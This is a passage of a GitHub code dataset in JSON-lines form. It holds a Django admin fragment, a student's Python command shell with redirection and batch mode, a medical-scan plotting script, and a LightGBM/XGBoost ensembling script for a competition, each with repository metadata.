\"updated_at\"\n                )\n            },\n        )\n    )\n    \n    base_read_only_fields = [\"created_at\", \"updated_at\"]\n    \n    def get_form(self, request, obj=None, change=False, **kwargs):\n        form = super().get_form(request, obj, **kwargs)\n        # form.fields['course'].queryset = Course.objects.filter(school=form.fields['school'])\n        # form.fields['course'].widget = widgets.(rel=Timetable._meta.get_field('course').remote_field, admin_site=site)\n        return form\n", "repo_name": "Limkaa/KBTU-Diploma-project-LMS", "sub_path": "backend/src/apps/core/modules/timetables/admin.py", "file_name": "admin.py", "file_ext": "py", "file_size_in_byte": 3285, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "utils.admin.CustomModelAdmin", "line_number": 10, "usage_type": "name"}, {"api_name": "models.Room", "line_number": 11, "usage_type": "name"}, {"api_name": "django.contrib.admin.register", "line_number": 9, "usage_type": "call"}, {"api_name": "models.Room", "line_number": 9, "usage_type": "argument"}, {"api_name": "django.contrib.admin", "line_number": 9, "usage_type": "name"}, {"api_name": "utils.admin.CustomModelAdmin", "line_number": 55, "usage_type": "name"}, {"api_name": "models.Timebound", "line_number": 56, "usage_type": "name"}, {"api_name": "django.contrib.admin.register", "line_number": 54, "usage_type": "call"}, {"api_name": "models.Timebound", "line_number": 54, "usage_type": "argument"}, {"api_name": "django.contrib.admin", "line_number": 54, "usage_type": "name"}, {"api_name": "utils.admin.CustomModelAdmin", "line_number": 100, "usage_type": "name"}, {"api_name": "models.Timetable", "line_number": 101, "usage_type": "name"}, {"api_name": "django.contrib.admin.register", "line_number": 99, "usage_type": "call"}, {"api_name": "models.Timetable", "line_number": 99, "usage_type": "argument"}, {"api_name": "django.contrib.admin", "line_number": 99, "usage_type": "name"}]}
{"seq_id": "74231813026", "text": "import os, sys, shlex\r\nfrom task import Task\r\nfrom more import More\r\nfrom errors import CommandNotFoundError, InvalidArgumentsError, InvalidCommandError\r\nimport readline \r\n\r\n'''\r\n\r\nSean Fradl\r\nDublin City University\r\nStudent No 17460674 \r\nAs part of CA216\r\n\r\nThis shell runs in Python 3.\r\n\r\nNote about readline import:\r\n\r\nreadline is imported to support ctrl+l (clear screen) keyboard shortcut functionality as well as up and down arrow key support for repeating commands. \r\nInbuilts of this module are never actually used explicitly. \r\n\r\n'''\r\n\r\nclass Shell(object):\r\n\r\n    def __init__(self, batch=False):\r\n        '''\r\n        Setups the shell environ, runs the main shell loop and stores a dictionary of strings to commands.\r\n        '''\r\n\r\n        self.environ = {\r\n            'SHELL': os.getcwd()+'/'+sys.argv[0],\r\n            'PWD': os.getcwd(),\r\n            'HOME': os.environ.get('HOME', '  ####  '),\r\n            'PATH': os.environ.get('PATH', \"\"),\r\n            'HELP': os.getcwd()+'/readme'\r\n        }\r\n\r\n        self.commands = {\r\n            'quit': self.quit,\r\n            'cd': self.cd,\r\n            'pwd': self.pwd, \r\n            'clr': self.clr, \r\n            'dir':  self.dir, \r\n            'pause': self.pause, \r\n            'help': self.help, \r\n            'echo': self.echo, \r\n            'environ': self.display_environ,\r\n        }\r\n        \r\n        if batch:\r\n            self.batch_loop()\r\n        else:\r\n            self.main_loop()\r\n\r\n\r\n    '''\r\n    Loop and Input Parsing Section\r\n    '''\r\n\r\n    def main_loop(self):\r\n        '''\r\n        The loop for the shell when running from user input.\r\n        '''\r\n        while True:\r\n            try:\r\n                unparsed_input = self.get_input() #Get input from user\r\n                if unparsed_input != '': \r\n                    command, args = self.parse_input(unparsed_input) #Parse input into the command and command arguments\r\n                    task = self.make_task(command, args) #Make a task object\r\n                    task.run() #Run the task\r\n            except (CommandNotFoundError, InvalidArgumentsError, InvalidCommandError) as e:\r\n                print('myshell error: ' + e.message)\r\n            #except:\r\n             #   print('myshell error: ' + unparsed_input + ' is not a valid command or a unknown error occured.')\r\n    \r\n    def batch_loop(self):\r\n        '''\r\n        The loop for the shell when running a script from a file.\r\n        '''\r\n        with open(sys.argv[1], 'r') as f:\r\n            for unparsed_input in f:\r\n                try:\r\n                    if unparsed_input != '':\r\n                        command, args = self.parse_input(unparsed_input)\r\n                        task = self.make_task(command, args)\r\n                        task.run()\r\n                except (CommandNotFoundError, InvalidArgumentsError) as e:\r\n                    print('myshell error: ' + e.message)\r\n                    exit(0)\r\n                except:\r\n                    #print('myshell error: `' + unparsed_input + '` is not a valid command or a unknown error occured.')\r\n                    exit(0)\r\n\r\n\r\n    def get_input(self):\r\n        '''\r\n        Obtains the input from the user and returns it.\r\n        '''\r\n        try:\r\n            user_input = input('['+self.input_prefix() + '] $ ')\r\n        except (KeyboardInterrupt, EOFError, SystemExit): # If user presses ctrl + d (EOF) or when running batch commands and reach EOF exit the shell.\r\n            exit(1)\r\n        return user_input\r\n    \r\n    def input_prefix(self):\r\n        '''\r\n        Makes an nice prefix for when collecting input. \r\n        '''\r\n        HOME = self.environ.get('HOME', None)\r\n        if self.environ['PWD'] == HOME:\r\n            return '~'\r\n        if HOME and self.environ['PWD'].startswith(HOME):\r\n            return self.environ['PWD'].replace(HOME, \"~\")\r\n        return self.environ['PWD']\r\n    \r\n    @staticmethod\r\n    def parse_input(unparsed_input):\r\n        '''\r\n        Parses the input using shlex. This allows for commands such as 'echo \"     hello    world\"' to be parsed correctly.\r\n        '''\r\n        tokenised_input = shlex.split(unparsed_input.strip())\r\n        try:\r\n            command = tokenised_input[0]\r\n            args = tokenised_input[1:]\r\n        except IndexError:\r\n            raise InvalidCommandError\r\n            \r\n        return command, args\r\n            \r\n    \r\n    def make_task(self, command, args):\r\n        '''\r\n        Returns a Task object that can carry out the command with args (see task.py).\r\n        '''\r\n        is_internal_command = self.is_internal_command(command) #Check if internal command \r\n        _input, output, args, background_execution = self.parse_args(args) #Check for IO and background execution\r\n\r\n        if is_internal_command:\r\n            return Task(self.commands[command], _input, output, args, background_execution, is_internal_command) #Internal task\r\n        else:\r\n            # Search for executable \r\n            fpath_environ = self.command_in_path_environ(command)\r\n            if self.is_exe(command):\r\n                return Task(command, _input, output, args, background_execution, is_internal_command) #Direct path given task\r\n            elif fpath_environ:\r\n                return Task(fpath_environ, _input, output, args, background_execution, is_internal_command) #Path found in path environ task\r\n            else:\r\n                raise CommandNotFoundError # Raise an error as nothing was found\r\n    \r\n    def is_internal_command(self, command):\r\n        '''\r\n        Checks if a given string is in the command dictionary for the shell.\r\n        '''\r\n        return command in self.commands.keys()\r\n    \r\n    @staticmethod\r\n    def parse_args(args):\r\n        '''\r\n        seperates arguements ino input, output, whether or not there's background execution and any remaining arguments. \r\n        '''\r\n        \r\n        # Set defaults \r\n        \r\n        _input = sys.stdin\r\n        output = sys.stdout\r\n        background_execution = False \r\n\r\n        # Check for background execution\r\n        \r\n        if len(args) > 0:\r\n            if args[-1] == '&':\r\n                background_execution = True\r\n                args.pop()\r\n    \r\n\r\n        #Check for IO redirection and other arguments \r\n\r\n        if len(args) > 0:\r\n            parsed_args = []\r\n            i = 0\r\n            try:\r\n                while i < len(args):\r\n                    if args[i] == '>':\r\n                        output = open(args[i+1], 'a') #Append\r\n                        i += 2\r\n                    elif args[i] == '>>':\r\n                        output = open(args[i+1], 'w') #Write\r\n                        i += 2\r\n                    elif args[i] == '<':\r\n                        _input = open(args[i+1], 'r') #Read\r\n                        i += 2\r\n                    elif args[i] == '<<':\r\n                        _input = open(args[i+1], 'r') #Read\r\n                        i += 2\r\n                    else:\r\n                        parsed_args.append(args[i])\r\n                        i += 1\r\n                args = parsed_args\r\n            except IndexError:\r\n                raise InvalidArgumentsError #Index error usually means there was a IO redirection symbol but nothing followed\r\n                \r\n        return _input, output, args, background_execution\r\n\r\n    '''\r\n    Inbuilt Shell Commands Section\r\n    '''\r\n\r\n    def cd(self, args=[], out=None):\r\n        '''\r\n        Changes the current working directory.\r\n        If no directory is supplied then prints the current working directory.\r\n        '''\r\n        if not args:\r\n            self.pwd(args, out)\r\n        else:\r\n            try:\r\n                directory = args[0]\r\n                os.chdir(directory)\r\n                self.environ['PWD'] = os.getcwd()\r\n            except (NotADirectoryError, FileNotFoundError) as e:\r\n                print('myshell error: ' + e.strerror)\r\n\r\n        \r\n    \r\n    def pwd(self, args, out):\r\n        ''' \r\n        Print's the current working directory\r\n        '''\r\n        print(os.getcwd(), file=out)\r\n    \r\n    def clr(self, args, out):\r\n        '''\r\n        Clear's the screen.\r\n        '''\r\n        clear = \"\\x1b\\x5b\\x48\\x1b\\x5b\\x32\\x4a\" # Special unicode for clearing screen on linux distros\r\n        print(clear, file=out)\r\n    \r\n    def dir(self, args, out):\r\n        '''\r\n        Prints out files and directories within the current working directory.\r\n        '''\r\n        curr = os.listdir()\r\n        s = \"\"\r\n        for f in curr:\r\n            s += f + \"\\n\"\r\n        print(s, file=out)\r\n    \r\n    def pause(self, args, out):\r\n        '''\r\n        Pause's the shell until enter is struck.\r\n        '''\r\n        input()\r\n    \r\n    def help(self, args, out):\r\n        help_fpath = self.environ['HELP']\r\n        try:\r\n            if out == sys.stdout:\r\n                More(help_fpath)\r\n            else:\r\n                contents = open(help_fpath, 'r').readlines()\r\n                for line in contents:\r\n                    print(line, file=out, end='')\r\n        except (FileNotFoundError):\r\n            print(\"Can't find shell help file at \" + help_fpath)\r\n    \r\n    def echo(self, args, out):\r\n        '''\r\n        Print's out the arguments after echo separated by spaces.\r\n        '''\r\n        print(\" \".join(args), file=out)\r\n    \r\n    def quit(self, args, out):\r\n        '''\r\n        Exits the shell\r\n        '''\r\n        exit()\r\n\r\n    def display_environ(self, args, out):\r\n        '''\r\n        Prints out the environment variables that have been set in the shell.\r\n        '''\r\n        s = \"\"\r\n        for k,v in self.environ.items():\r\n            s += k + \"\\t\" + v + \"\\n\"\r\n        print(s, file=out)\r\n\r\n\r\n    @staticmethod\r\n    def is_exe(fpath):\r\n        '''\r\n        Checks if a file is executable.\r\n        '''\r\n        return os.access(fpath, os.X_OK) and os.path.isfile(fpath)\r\n\r\n\r\n    def command_in_path_environ(self, fname):\r\n        '''\r\n        Check's if a file is in any of the PATH directories.\r\n        '''\r\n        paths = self.environ['PATH'].split(\":\") #Each path is divided by a ':' hence the split. \r\n        for path in paths:\r\n            for f in os.listdir(path):\r\n                if f == fname:\r\n                    return path+'/'+fname\r\n        return \"\"\r\n\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n    \r\n    if len(sys.argv) > 1:\r\n        Shell(True)\r\n    else:\r\n        Shell()\r\n        ", "repo_name": "Frazl/CA216-PythonShell", "sub_path": "myshell.py", "file_name": "myshell.py", "file_ext": "py", "file_size_in_byte": 10399, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "os.getcwd", "line_number": 31, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 31, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 32, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 33, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 33, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 34, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 34, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 35, "usage_type": "call"}, {"api_name": "task.run", "line_number": 70, "usage_type": "call"}, {"api_name": "errors.CommandNotFoundError", "line_number": 71, "usage_type": "name"}, {"api_name": "errors.InvalidArgumentsError", "line_number": 71, "usage_type": "name"}, {"api_name": "errors.InvalidCommandError", "line_number": 71, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 80, "usage_type": "attribute"}, {"api_name": "task.run", "line_number": 86, "usage_type": "call"}, {"api_name": "errors.CommandNotFoundError", "line_number": 87, "usage_type": "name"}, {"api_name": "errors.InvalidArgumentsError", "line_number": 87, "usage_type": "name"}, {"api_name": "shlex.split", "line_number": 121, "usage_type": "call"}, {"api_name": "errors.InvalidCommandError", "line_number": 126, "usage_type": "name"}, {"api_name": "task.Task", "line_number": 139, "usage_type": "call"}, {"api_name": "task.Task", "line_number": 144, "usage_type": "call"}, {"api_name": "task.Task", "line_number": 146, "usage_type": "call"}, {"api_name": "errors.CommandNotFoundError", "line_number": 148, "usage_type": "name"}, {"api_name": "sys.stdin", "line_number": 164, "usage_type": "attribute"}, {"api_name": "sys.stdout", "line_number": 165, "usage_type": "attribute"}, {"api_name": "errors.InvalidArgumentsError", "line_number": 200, "usage_type": "name"}, {"api_name": "os.chdir", "line_number": 218, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 219, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 229, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 242, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 257, "usage_type": "attribute"}, {"api_name": "more.More", "line_number": 258, "usage_type": "call"}, {"api_name": "os.access", "line_number": 293, "usage_type": "call"}, {"api_name": "os.X_OK", "line_number": 293, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 293, "usage_type": "call"}, {"api_name": "os.path", "line_number": 293, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 302, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 312, "usage_type": "attribute"}]}
{"seq_id": "42187947093", "text": "import numpy as np\nimport matplotlib.pyplot as plt  \n\ndef showScanImage2(slice, pic, label, pred, threshold=None, saturate=None, cmap_='CMRmap'):\n    pic_ = np.copy(pic)\n    label_ = np.copy(label)\n    pred_ = np.copy(pred)\n    if saturate is not None:\n        print('saturate')\n        temp = pred_[:,:,:,1]\n        temp[temp > saturate] = 1\n        temp = pred_[:,:,:,2]\n        temp[temp > saturate] = 2\n        #pic_[pic_ > saturate] = pic_.max()\n    if threshold is not None:\n        print('threshold')\n        temp = pred_[:,:,:,0]\n        temp[temp < threshold] = 0\n        ###\n    plt.figure(figsize=(8,8))\n    plt.subplot(3,2,1)\n    ####\n    max_ = np.argmax(pred_,3)\n    plt.imshow(max_[slice,:,:], cmap_, vmax=2)\n    plt.title('Label Argmax')\n    ####   \n    #plt.imshow(pic_[slice,:,:,0]/6000.0*1, cmap_)\n    plt.subplot(3,2,2)\n    plt.imshow(pic_[slice,:,:,0]/2000.0*1, cmap_)    \n    plt.title('Flair Image')\n    plt.subplot(3,2,3)\n    plt.imshow(label_[slice,:,:,0], cmap_, vmax=2)\n    plt.title('Flair Label')\n    plt.subplot(3,2,4)\n    plt.imshow(pred_[slice,:,:,1], cmap_, vmax=2)   # change 1 to 0\n    plt.title('Predicted Label')\n    plt.subplot(3,2,5)\n    plt.imshow(pred_[slice,:,:,2], cmap_, vmax=1)   # change 2 to 1\n    plt.title('Predicted Others')\n    plt.subplot(3,2,6)\n    plt.imshow(pred_[slice,:,:,0], cmap_, vmax=1)\n    plt.title('Predicted Noise')\n    plt.tight_layout()\n\ndef showImage(data, segment, predict, slice=55, cmap_='hot', vmin=None, vmax=None):\n    # segment:\n    # black=0, orange=liver, white=tumor\n    plt.figure(figsize=(8,8))\n    plt.subplot(2,2,1)\n    if vmin is None:\n        vmin = data.min()\n    if vmax is None:\n        vmax = data.max()\n    plt.imshow(data[:,:,slice,0], cmap=cmap_, vmin=vmin, vmax=vmax)\n    plt.title('Img Dim {0}, slice {1}'.format(data.shape, slice))\n    plt.subplot(2,2,2)\n    plt.imshow(segment[:,:,slice,0], vmin=0, vmax=2, cmap='hot')\n    plt.subplot(2,2,4)\n    max_ = np.argmax(predict,3)\n    plt.imshow(max_[:,:,slice], vmin=0, vmax=2, cmap='hot')\n\nindex = 1\ndata = np.load('./sample/X_test_{}.npy'.format(index))   # Only 2 channels\nsegment = np.load('./sample/y_test_{}.npy'.format(index)) # Only 2 channels\npredict = np.load('./sample/mask_output_{}.npy'.format(index)) # Only 2 channels\n\nfrequencyTable(segment)\nfrequencyTable(np.argmax(predict,3))\n\nlocateCenter(segment)\n\nshowImage(data, segment, predict, slice=55, cmap_='hot', vmin=None, vmax=None)\nshowImage(data, segment, predict, slice=55, cmap_='hot', vmin=None, vmax=None)\n\n\n\n\nWMHLabel[WMHLabel == 2].shape\nEE = np.argmax(predLabel, 3)\nEE[EE == 1] # for 2 channels\nEE[EE == 2] # for 3 channels\n\nshowScanImage2(50, pic=WMHpic, label=WMHLabel, pred=predLabel)\n\nshowScanImage2(49, pic=WMHpic, label=WMHLabel, pred=predLabel, \n               saturate=1e-1, threshold=None)", "repo_name": "winsonhana/HVSMR16Heart", "sub_path": "HVSMRview.py", "file_name": "HVSMRview.py", "file_ext": "py", "file_size_in_byte": 2811, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.copy", "line_number": 5, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 6, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 7, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}, {"api_name": "numpy.argmax", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 24, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 25, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 28, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 29, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 30, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 32, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 33, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 35, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 42, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 48, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 48, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 55, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 56, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 57, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 58, "usage_type": "name"}, {"api_name": "numpy.argmax", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "numpy.load", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 79, "usage_type": "call"}]}
{"seq_id": "39267013282", "text": "# coding=utf-8\nimport pandas as pd\nfrom sklearn.cross_validation import train_test_split\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.model_selection import StratifiedKFold, KFold\nfrom sklearn.metrics import roc_auc_score, precision_recall_curve, roc_curve, average_precision_score\nimport numpy as np\nimport gc\nfrom datetime import datetime\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom sklearn.preprocessing import MinMaxScaler,StandardScaler\n\n\nvalid_data = pd.read_csv(\"../result/submission_5x-LGB0598965_seed_1024.txt\")\nprint(valid_data.count())\nvalid_data = valid_data.rename(columns={'prob':'prob1'})\nvalid2 = pd.read_csv(\"../result/submission_5x-LGB0600478_seed_1024.txt\")\nvalid2 = valid2.rename(columns={'prob':'prob2'})\nvalid3 = pd.read_csv(\"../result/submission_5x-LGB0605474_seed_1024.txt\")\nvalid3 = valid3.rename(columns={'prob':'prob3'})\nvalid4 = pd.read_csv(\"../result/submission_5x-LGB0609101_seed_1024.txt\")\nvalid4 = valid4.rename(columns={'prob':'prob4'})\nvalid5 = pd.read_csv(\"../result/submission_5x-XGB0596604_seed_1024.txt\")\nvalid5 = valid5.rename(columns={'prob':'prob5'})\nvalid6 = pd.read_csv(\"../result/submission_5x-XGB0605969_seed_1024.txt\")\nvalid6 = valid6.rename(columns={'prob':'prob6'})\nvalid7 = pd.read_csv(\"../result/submission_5x-XGB0607207_seed_1024.txt\")\nvalid7 =valid7.rename(columns={'prob':'prob7'})\n\nvalid_data = pd.merge(valid_data,valid2,how='left',on='id')\nvalid_data = pd.merge(valid_data,valid3,how='left',on='id')\nvalid_data = pd.merge(valid_data,valid4,how='left',on='id')\nvalid_data = pd.merge(valid_data,valid5,how='left',on='id')\nvalid_data = pd.merge(valid_data,valid6,how='left',on='id')\nvalid_data = pd.merge(valid_data,valid7,how='left',on='id')\n\nprint(valid_data.head())\nvalid_data['prob'] = (valid_data['prob1']+valid_data['prob2']+\n                      valid_data['prob3']+valid_data['prob4']+\n                      valid_data['prob5']+valid_data['prob6']+\n                      valid_data['prob7'])/7\nprint(valid_data.count())\nvalid_data = valid_data[['id','prob']]\n\n# valid_data.to_csv(\"../result/sub_final.txt\",index=False)\n\n\n\n\n\n\n\n\n\n\nparams = [\n    {'boosting_type': 'gbdt',\n     'objective': 'binary',\n     'metric': {'auc'},\n     'learning_rate': 0.1,\n     'max_depth': 10,\n     'num_leaves': 40,\n     'feature_fraction': 0.3,\n     'bagging_freq': 3,\n     # 'min_split_gain': 0.2,\n     'min_child_weight': 12,\n     'reg_alpha': 4,\n     'reg_lambda':4 ,\n     # 'is_unbalance':True\n     # 'verbose': 1},\n     },\n    {\n        'booster': 'gbtree',\n        'objective': 'binary:logistic',\n        'eta': 0.1,\n        # 'max_depth': 10,\n        'subsample': 0.5,\n        # 'min_child_weight': 5,\n        'colsample_bytree': 0.6,\n        # 'scale_pos_weight': 0.1,\n        'eval_metric': 'auc',\n        'alpha':2,\n        'lambda': 5,\n        'nthread':4\n    }\n\n]\n############################################################\nimport lightgbm as lgb\nimport xgboost as xgb\nfrom  sklearn.linear_model import LogisticRegression\nfeature = [x for x in train_data.columns if x not in ('label','id')]\nprint(feature)\nvalid_data = train_data[train_data['label']==-1]\ntrain_data = train_data[train_data['label']!=-1]\n# valid_X = valid_data[feature]\n# valid_Y = valid_data['label']\n# X = train_data[feature]\ny = train_data['label']\n\n# sc = StandardScaler()\n# train_data = sc.fit_transform(train_data[[x for x in train_data.columns if x not in ('symbol','label')]])\n\nfolds = StratifiedKFold(n_splits=5, shuffle=True, random_state=1024)\n# oof_preds = np.zeros(train_data.shape[0])\n# sub_preds = np.zeros(valid_data.shape[0])\n# feature_importance_df = pd.DataFrame()\n# for n_fold, (trn_idx, val_idx) in enumerate(folds.split(train_data, y)):\n#     X_train, y_train = train_data[feature].iloc[trn_idx], y.iloc[trn_idx]\n#     X_test, y_test = train_data[feature].iloc[val_idx], y.iloc[val_idx]\n#\n#     lgb_train = lgb.Dataset(X_train, y_train)\n#     del X_train, y_train,\n#     lgb_eval = lgb.Dataset(X_test, y_test, reference=lgb_train)\n#\n#     clf = lgb.train(params[0],\n#                     lgb_train,\n#                     num_boost_round=20000,\n#                     valid_sets=[lgb_eval],\n#                     early_stopping_rounds=200,\n#                     verbose_eval=100)\n#\n#     oof_preds[val_idx] = clf.predict(X_test, num_iteration=clf.best_iteration)\n#\n#     sub = pd.Series(clf.predict(valid_data[feature], num_iteration=clf.best_iteration)).rank(pct=True).values\n#     sub_preds += sub / (folds.n_splits)\n#\n#     fold_importance_df = pd.DataFrame()\n#     fold_importance_df[\"feature\"] = clf.feature_name()\n#     fold_importance_df[\"importance\"] = clf.feature_importance()\n#     fold_importance_df[\"fold\"] = n_fold + 1\n#     feature_importance_df = pd.concat([feature_importance_df, fold_importance_df], axis=0)\n#\n#     print('Fold %2d AUC : %.6f' % (n_fold + 1, roc_auc_score(y_test, oof_preds[val_idx])))\n#     del X_test, y_test\n#     gc.collect()\n# print('Full AUC score %.6f' % roc_auc_score(y, oof_preds))\n# oof_preds1 = oof_preds\n# sub_preds1 = sub_preds\n# ################################\noof_preds = np.zeros(train_data.shape[0])\nsub_preds = np.zeros(valid_data.shape[0])\nfor n_fold, (trn_idx, val_idx) in enumerate(folds.split(train_data, y)):\n    X_train, y_train = train_data[feature].iloc[trn_idx], y.iloc[trn_idx]\n    X_test, y_test = train_data[feature].iloc[val_idx], y.iloc[val_idx]\n    xgb_train = xgb.DMatrix(X_train,y_train)\n    # lgb_train = lgb.Dataset(X_train, y_train)\n    del X_train, y_train,\n    xgb_eval = xgb.DMatrix(X_test,y_test)\n    watchlist = [(xgb_train,'train'),(xgb_eval,'val')]\n\n    # lgb_eval = lgb.Dataset(X_test, y_test, reference=lgb_train)\n\n    # clf = lgb.train(params[0],\n    #                 lgb_train,\n    #                 num_boost_round=20000,\n    #                 valid_sets=[lgb_eval],\n    #                 early_stopping_rounds=200,\n    #                 verbose_eval=100)\n    clf = xgb.train(params[1],xgb_train,num_boost_round=10000,evals=watchlist,early_stopping_rounds=100)\n    # print(clf.predict(X_test).head())\n    test = xgb.DMatrix(X_test)\n    oof_preds[val_idx] = clf.predict(test,ntree_limit=clf.best_iteration)\n\n    valid = xgb.DMatrix(valid_data[feature])\n    sub = pd.Series(clf.predict(valid,ntree_limit=clf.best_iteration)).rank(pct=True).values\n    sub_preds += sub / (folds.n_splits)\n########################################################################\n    # print(clf.feature_importance)\n    # fold_importance_df = pd.DataFrame()\n    # fold_importance_df[\"feature\"] = clf.feature_name()\n    # fold_importance_df[\"importance\"] = clf.feature_importance()\n    # fold_importance_df[\"fold\"] = n_fold + 1\n    # feature_importance_df = pd.concat([feature_importance_df, fold_importance_df], axis=0)\n\n    print('Fold %2d AUC : %.6f' % (n_fold + 1, roc_auc_score(y_test, oof_preds[val_idx])))\n    del X_test, y_test\n    gc.collect()\nprint('Full AUC score %.6f' % roc_auc_score(y, oof_preds))\n# oof_preds1 = (oof_preds1+oof_preds)/2\n# sub_preds = (sub_preds+sub_preds1)/2\n# print('Full AUC score final %.6f' % roc_auc_score(y, oof_preds1))\n\n\n\n\nres = valid_data[['id']]\nres['prob']=sub_preds\n\nres_t = train_data[['id']]\nres_t['prob'] = oof_preds\n\n# In[ ]:\n\nscore = str(round(roc_auc_score(y, oof_preds), 6)).replace('.', '')\nsub_file = '../result/submission_5x-XGB' + score + \"_seed_\" + str(1024) + '.txt'\nsub_t_file = '../result/submission_t_5x-XGB' + score + \"_seed_\" + str(1024) + '.txt'\nres.to_csv(sub_file, index=False)\nres_t.to_csv(sub_t_file,index=False)\n\n# In[ ]:\n\nfolds_idx = [(trn_idx, val_idx) for trn_idx, val_idx in folds.split(train_data, y)]\n# display_importances(feature_importance_df_=feature_importance_df)\n\n# In[ ]:\n\ndisplay_roc_curve(y_=y, oof_preds_=oof_preds, folds_idx_=folds_idx)\n\n", "repo_name": "Shicoder/rong360-UserProfile-rank38-Soultion", "sub_path": "2feature_enginer/src/model_combine.py", "file_name": "model_combine.py", "file_ext": "py", "file_size_in_byte": 7756, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": 